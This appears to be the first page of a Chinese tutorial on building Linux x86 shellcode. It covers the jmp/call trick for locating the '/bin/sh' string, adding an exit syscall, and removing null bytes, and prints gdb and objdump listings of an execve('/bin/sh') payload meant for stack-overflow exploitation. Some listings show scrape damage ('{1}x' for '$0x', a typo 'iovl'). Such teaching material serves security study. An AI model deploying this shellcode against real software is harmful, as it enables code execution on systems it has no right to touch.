进一步完善shellcode的提取


基本shellcode提取方法:

接下来,我们将在上文的基础上,进一步完善shellcode的提取。

前面关于main和execve的分析,同“基本shellcode提取方法”中相应部分的讲解。

如果execve()调用失败的话,程序将会继续从堆栈中获取指令并执行,而此时堆栈中的数据时随机的,通常这个程序会core dump。如果我们希望在execve()调用失败时,程序仍然能够正常退出,那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下:

  1.  root@linux:~/pentest# cat shellcode_exit.c  
  2. #include <stdio.h>   
  3. #include <stdlib.h>   
  4.   
  5. int main(int argc, char **argv) {  
  6.     exit(0);  
  7. }  
  8. root@linux:~/pentest# gdb shellcode_exit  
  9. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  10. Copyright (C) 2010 Free Software Foundation, Inc.  
  11. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  12. This is free software: you are free to change and redistribute it.  
  13. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  14. and "show warranty" for details.  
  15. This GDB was configured as "i686-linux-gnu".  
  16. For bug reporting instructions, please see:  
  17. <http://www.gnu.org/software/gdb/bugs/>...   
  18. Reading symbols from /root/pentest/shellcode_exit...done.  
  19. (gdb) disass exit  
  20. Dump of assembler code for function exit@plt:  
  21.    0x080482f0 <+0>:    jmp    *0x804a008  
  22.    0x080482f6 <+6>:    push   {1}x10  
  23.    0x080482fb <+11>:    jmp    0x80482c0  
  24. End of assembler dump.  
  25. (gdb)  

通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是,通过翻阅以前版本gdb反汇编信息,仍然可以得到exit系统调用的实现细节。 

  1. [scz@ /home/scz/src]> gdb shellcode_exit  
  2. GNU gdb 4.17.0.11 with Linux support  
  3. This GDB was configured as "i386-RedHat-linux"...  
  4. (gdb) disas _exit   
  5. Dump of assembler code for function _exit:  
  6. 0x804b970 <_exit>:      movl   %ebx,%edx  
  7. 0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx  
  8. 0x804b976 <_exit+6>:    movl   {1}x1,%eax  
  9. 0x804b97b <_exit+11>:   int    {1}x80  
  10. 0x804b97d <_exit+13>:   movl   %edx,%ebx  
  11. 0x804b97f <_exit+15>:   cmpl   {1}xfffff001,%eax  
  12. 0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>  
  13. End of assembler dump.  

我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。

其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。

我们要构造的shellcode的执行流程如下图所示:

Shellcode执行流程解析:

RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。

即:

  1.  Beginning_of_shellcode:  
  2. jmp subroutine_call  
  3. subroutine:  
  4. popl %esi  
  5. ……  
  6. (shellcode itself)  
  7. ……  
  8. subroutine_call:  
  9. call subroutine  
  10. /bin/sh  

下面,我们用C语言内嵌汇编的方式,构造shellcode。

  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         movl {1}x0,0xc(%esi);    \  
  13.         movb {1}x0,0x7(%esi);    \  
  14.         movl {1}xb,%eax;       \  
  15.         movl %esi,%ebx;        \  
  16.         leal 0x8(%esi),%ecx;    \  
  17.         leal 0xc(%esi),%edx;    \  
  18.         int {1}x80;        \  
  19.         movl {1}x0,%ebx;        \  
  20.         movl {1}x1,%eax;        \  
  21.         int {1}x80;        \  
  22.     subroutine_call:        \  
  23.         call subroutine;    \  
  24.         .string \"/bin/sh\";    \  
  25.      ");  
  26.   
  27.     return 0;  
  28. }  
  29.   
  30. root@linux:~/pentest# objdump -d shellcode_asm  
  31.   
  32. 08048394 <main>:  
  33.  8048394:    55                       push   %ebp  
  34.  8048395:    89 e5                    mov    %esp,%ebp  
  35.  8048397:    eb 2a                    jmp    80483c3 <subroutine_call>  
  36.   
  37. 08048399 <subroutine>:  
  38.  8048399:    5e                           pop    %esi  
  39.  804839a:    89 76 08                   mov    %esi,0x8(%esi)  
  40.  804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)  
  41.  80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)  
  42.  80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax  
  43.  80483ad:    89 f3                       mov    %esi,%ebx  
  44.  80483af:    8d 4e 08                   lea    0x8(%esi),%ecx  
  45.  80483b2:    8d 56 0c                   lea    0xc(%esi),%edx  
  46.  80483b5:    cd 80                       int    {1}x80  
  47.  80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx  
  48.  80483bc:    b8 01 00 00 00           mov    {1}x1,%eax  
  49.  80483c1:    cd 80                       int    {1}x80  
  50.   
  51. 080483c3 <subroutine_call>:  
  52.  80483c3:    e8 d1 ff ff ff           call   8048399 <subroutine>  
  53.  80483c8:    2f                         das      
  54.  80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  55.  80483cc:    2f                         das      
  56.  80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>  
  57.  80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  58.  80483d5:   5d                         pop    %ebp  
  59.  80483d6:    c3                       ret      
  60.  80483d7:    90                       nop  
  61.  80483d8:    90                       nop  
  62.  80483d9:    90                       nop  
  63.  80483da:    90                       nop  
  64.  80483db:    90                       nop  
  65.  80483dc:    90                       nop  
  66.  80483dd:    90                       nop  
  67.  80483de:    90                       nop  
  68.  80483df:    90                       nop  

替换掉shellcode中含有的Null字节的指令:

含有Null字节的指令

替代指令

movl $0x0,0xc(%esi)

movb $0x0,0x7(%esi)

xorl %eax,%eax

movl %eax,0xc(%esi)

movb %al,0x7(%esi)

movl $0xb,%eax

xorl %eax,%eax

movb $0xb,%al

movl $0x1,%eax

movl $0x0,%ebx

xorl %ebx,%ebx

iovl %ebx,%eax

inc %eax

修改后的代码和反汇编结果如下:

  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     __asm__  
  7.     ("                \  
  8.          jmp subroutine_call;    \  
  9.     subroutine:            \  
  10.         popl %esi;        \  
  11.         movl %esi,0x8(%esi);    \  
  12.         xorl %eax,%eax;        \  
  13.         movl %eax,0xc(%esi);    \  
  14.         movb %al,0x7(%esi);    \  
  15.        movb {1}xb,%al;        \  
  16.         movl %esi,%ebx;        \  
  17.         leal 0x8(%esi),%ecx;    \  
  18.         leal 0xc(%esi),%edx;    \  
  19.         int {1}x80;        \  
  20.         xorl %ebx,%ebx;        \  
  21.         movl %ebx,%eax;        \  
  22.         inc %eax;        \  
  23.         int {1}x80;        \  
  24.     subroutine_call:        \  
  25.         call subroutine;   \  
  26.         .string \"/bin/sh\";    \  
  27.      ");  
  28.   
  29.     return 0;  
  30. }  
  31. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  32. root@linux:~/pentest# objdump -d shellcode_asm  
  33. 08048394 <main>:  
  34.  8048394:    55                       push   %ebp  
  35.  8048395:    89 e5                    mov    %esp,%ebp  
  36.  8048397:    eb 1f                    jmp    80483b8 <subroutine_call>  
  37.   
  38. 08048399 <subroutine>:  
  39.  8048399:    5e                       pop    %esi  
  40.  804839a:    89 76 08                 mov    %esi,0x8(%esi)  
  41.  804839d:    31 c0                    xor    %eax,%eax  
  42.  804839f:    89 46 0c                 mov    %eax,0xc(%esi)  
  43.  80483a2:    88 46 07                 mov    %al,0x7(%esi)  
  44.  80483a5:    b0 0b                    mov    {1}xb,%al  
  45.  80483a7:    89 f3                   mov    %esi,%ebx  
  46.  80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx  
  47.  80483ac:    8d 56 0c                 lea    0xc(%esi),%edx  
  48.  80483af:    cd 80                    int    {1}x80  
  49.  80483b1:    31 db                    xor    %ebx,%ebx  
  50.  80483b3:    89 d8                    mov   %ebx,%eax  
  51.  80483b5:    40                       inc    %eax  
  52.  80483b6:    cd 80                    int    {1}x80  
  53.   
  54. 080483b8 <subroutine_call>:  
  55.  80483b8:    e8 dc ff ff ff           call   8048399 <subroutine>  
  56.  80483bd:    2f                       das      
  57.  80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)  
  58.  80483c1:   2f                       das      
  59.  80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>  
  60.  80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)  
  61.  80483ca:    5d                       pop    %ebp  
  62.  80483cb:    c3                       ret      
  63.  80483cc:   90                       nop  
  64.  80483cd:    90                       nop  
  65.  80483ce:    90                       nop  
  66.  80483cf:    90                       nop  
  67. root@linux:~/pentest# gdb shellcode_asm  
  68. (gdb) b main  
  69. Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.  
  70. (gdb) r  
  71. Starting program: /root/pentest/shellcode_asm   
  72.   
  73. Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5  
  74. 5       __asm__  
  75. (gdb) disass main  
  76. Dump of assembler code for function main:  
  77.    0x08048394 <+0>:    push   %ebp  
  78.    0x08048395 <+1>:    mov    %esp,%ebp  
  79. => 0x08048397 <+3>:    jmp    0x80483b8 <subroutine_call>  
  80.    0x08048399 <+5>:    pop    %esi  
  81.    0x0804839a <+6>:    mov    %esi,0x8(%esi)  
  82.    0x0804839d <+9>:    xor    %eax,%eax  
  83.    0x0804839f <+11>:    mov    %eax,0xc(%esi)  
  84.    0x080483a2 <+14>:    mov    %al,0x7(%esi)  
  85.    0x080483a5 <+17>:    mov    {1}xb,%al  
  86.    0x080483a7 <+19>:   mov    %esi,%ebx  
  87.    0x080483a9 <+21>:    lea    0x8(%esi),%ecx  
  88.    0x080483ac <+24>:    lea    0xc(%esi),%edx  
  89.    0x080483af <+27>:    int    {1}x80  
  90.    0x080483b1 <+29>:    xor    %ebx,%ebx  
  91.    0x080483b3 <+31>:    mov    %ebx,%eax  
  92.    0x080483b5 <+33>:    inc    %eax  
  93.    0x080483b6 <+34>:    int    {1}x80  
  94.    0x080483b8 <+0>:    call   0x8048399 <main+5>  
  95.    0x080483bd <+5>:    das      
  96.    0x080483be <+6>:    bound  %ebp,0x6e(%ecx)  
  97.    0x080483c1 <+9>:    das      
  98.    0x080483c2 <+10>:    jae    0x804842c  
  99.    0x080483c4 <+12>:    add    %bh,0x0(%eax)  
  100.    0x080483ca <+18>:    pop    %ebp  
  101.    0x080483cb <+19>:    ret      
  102. End of assembler dump.  
  103. (gdb) x/s 0x080483bd  
  104. 0x80483bd <subroutine_call+5>:     "/bin/sh"  

  • 1
  • 2
  • 下一页

相关内容